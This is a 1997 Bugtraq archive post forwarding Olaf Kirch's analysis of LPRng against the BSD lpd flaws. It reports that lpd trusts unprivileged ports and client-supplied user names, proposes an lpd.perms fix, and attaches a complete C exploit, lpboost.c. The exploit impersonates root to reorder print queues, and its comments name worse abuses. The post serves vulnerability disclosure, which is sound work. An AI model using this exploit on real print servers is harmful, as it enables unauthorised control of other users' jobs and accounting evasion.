Bugtraq mailing list archives
LPRng security
From: aleph1 () DFW NET (Aleph One)
Date: Mon, 20 Oct 1997 19:48:38 -0500
This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime () docserver cac washington edu for more info. --hhlLboLdkugWU4S2 Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-ID: <Pine.SUN.3.94.971020194800.9833G () dfw dfw net> ---------- Forwarded message ---------- Date: Mon, 20 Oct 1997 14:54:15 +0200 From: Olaf Kirch <okir () monad swb de> To: linux-security () redhat com Subject: [linux-security] LPRng security Hi all, I just looked into LPRng to see to what extent it is affected by the problems recently reported for the BSD lpd. It seems that it is fairly safe from those mentioned in the SNI advisory.
Problem 1: File creation Individuals with access to the line printer daemon from a privileged port on a valid print client can tell lpd to create a file, providing the name of the file, including directory names, is no longer than 5 characters.
LPRng checks that data and control file names conform to the spool file format: [cf]dNNNhostname, where hostname must contain only alphanumeric characters or "-_.".
Problem 2: File deletion Individuals with access to the line printer daemon from a privileged port on a valid print client can tell lpd to remove any file on the system.
When given the U option, lpd checks that it follows a data file (e.g. f option), and that the names match.
Problem 3: Remote execution Individuals with access to the line printer daemon from a privileged port on a valid print client can execute commands remotely as the user which lpd is running as. This vulnerability can allow interactive shell access to the remote system.
The LPRng lpd purges all meta characters (everything but alphanums and "-_.@/:()=,+-% \t"), executes sendmail via execve, and does so under the daemon uid. As a consequence, you're not allowed to specify alternate config files etc. The only glitch is that, as daemon is usually trusted by sendmail, you're able to specify the sender address using the -f option (which makes it the most painful way of address spoofing I've come across:-). Also, LPRng permits only one M command per print job, so there's no way of mailbombing. There's a different security problem, at least in the default configuration shipped by Caldera, which is that lpd doesn't check for privileged ports by default, and blindly accepts any user name the lpr client provides. I'm including a small exploit to demonstrate this problem. It lets Joe User move any print job to the top of the print queue. To test it, it may be best to create a dummy printer, disable printing to it, and create some print jobs (by different users). Note that while this exploit is pretty harmless, other exploits (such as redirecting printers or circumventing the accounting system) are not. One way to fix that would be to restrict the the range of ports from which clients are permitted to connect by putting the following into /etc/lpd.perms (right before all other non-comment statements): REJECT SERVICE=X NOT PORT=512-1023 and stop and restart the printer daemon. Note that restricting the valid range of ports to 512-1023 also stops FTP bounce attacks (bounce attacks don't apply if you install the most recent wu-ftpd fix). However, this fails miserably since all lp clients are installed without suid root permissions (at least by Caldera). This seems to be a design decision made by the author. OTOH he has put a lot of work into the accounting stuff which is quite worthless if lpd can be spoofed that easily. Now, the lpr clients seem to work also with setuid enabled (and at first glance, setuid privileges seem to be handled quite carefully). We're currently looking into this. Anybody would like to share their experience with making LPRng setuid root? Cheers Olaf PS: Excercise to the reader:-) Problems like this can be solved using the SCM_CREDENTIALS stuff in 2.1.x kernels. Lpr can authenticate itself with the local lpd via a unix socket, and have lpd forward the job to the remote printer using a privileged port. Any takers? -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play okir () monad swb de | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax okir () caldera com +-------------------- Why Not?! ----------------------- --hhlLboLdkugWU4S2 Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-ID: <Pine.SUN.3.94.971020194800.9833H () dfw dfw net> Content-Description: Print queue? What queue? /* * lpboost.c * * Simple exploit to demonstrate problem with PLP/LPRng user * `authentication': boost your print job's priority by moving it * to the top of the queue. * * This is the most harmless exploit of this problem. More serious * ones include circumvention of the accounting system, killing other * users' jobs, shutting down printers, redirecting them, etc. * * Copyright (C) 1997, Olaf Kirch <okir () lst de> */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <errno.h> static int doconnect(char *hostname); static void dosend(int fd, unsigned char ch, char *string); int main(int argc, char **argv) { char buffer[8192]; char hostbuf[256], *hostname = hostbuf; int fd; if (argc == 4) { hostname = argv[3]; } else if (argc != 3) { fprintf(stderr, "usage: lpboost <printer> <job> [hostname]\n"); exit(1); } else { /* If lpd.perms allows queue manipulation only from * the local host (SERVER keyword), must use FQDN * rather than localhost (127.0.0.1) */ gethostname(hostbuf, sizeof(hostbuf)); } if ((fd = doconnect(hostname)) < 0) { fprintf(stderr, "Failed to connect to %s: %s\n", hostname, strerror(errno)); exit(1); } /* Assemble control message */ sprintf(buffer, "%s %s topq %s %s", argv[1], /* printer */ "root", /* user */ argv[1], /* printer */ argv[2]); /* job # */ /* Transmit control message and pick up status */ dosend(fd, 6, buffer); exit (0); } static int doconnect(char *hostname) { struct hostent *hp; struct sockaddr_in sin; int fd; if (!(hp = gethostbyname(hostname))) { fprintf(stderr, "%s: unknown host\n", hostname); exit(1); } memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_addr = *(struct in_addr *) hp->h_addr; sin.sin_port = htons(515); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { perror("socket"); exit(1); } if (connect(fd, (struct sockaddr *) &sin, sizeof(sin)) < 0) { perror("connect"); exit(1); } return fd; } static void dosend(int fd, unsigned char ch, char *string) { char buffer[256], cr = '\n'; int slen = string? strlen(string) : 0; if (write(fd, &ch, 1) != 1 || (string && (write(fd, string, slen) != slen || write(fd, &cr, 1) != 1))) { perror("write"); exit(1); } while ((slen = read(fd, buffer, sizeof(buffer)-1)) > 0) { buffer[slen] = '\0'; fprintf(stderr, "lpd: %s\n", buffer); } if (slen == 0 || errno == EPIPE) return; perror("read (errmsg)"); exit(1); } --hhlLboLdkugWU4S2--
Current thread:
- LPRng security Aleph One (Oct 20)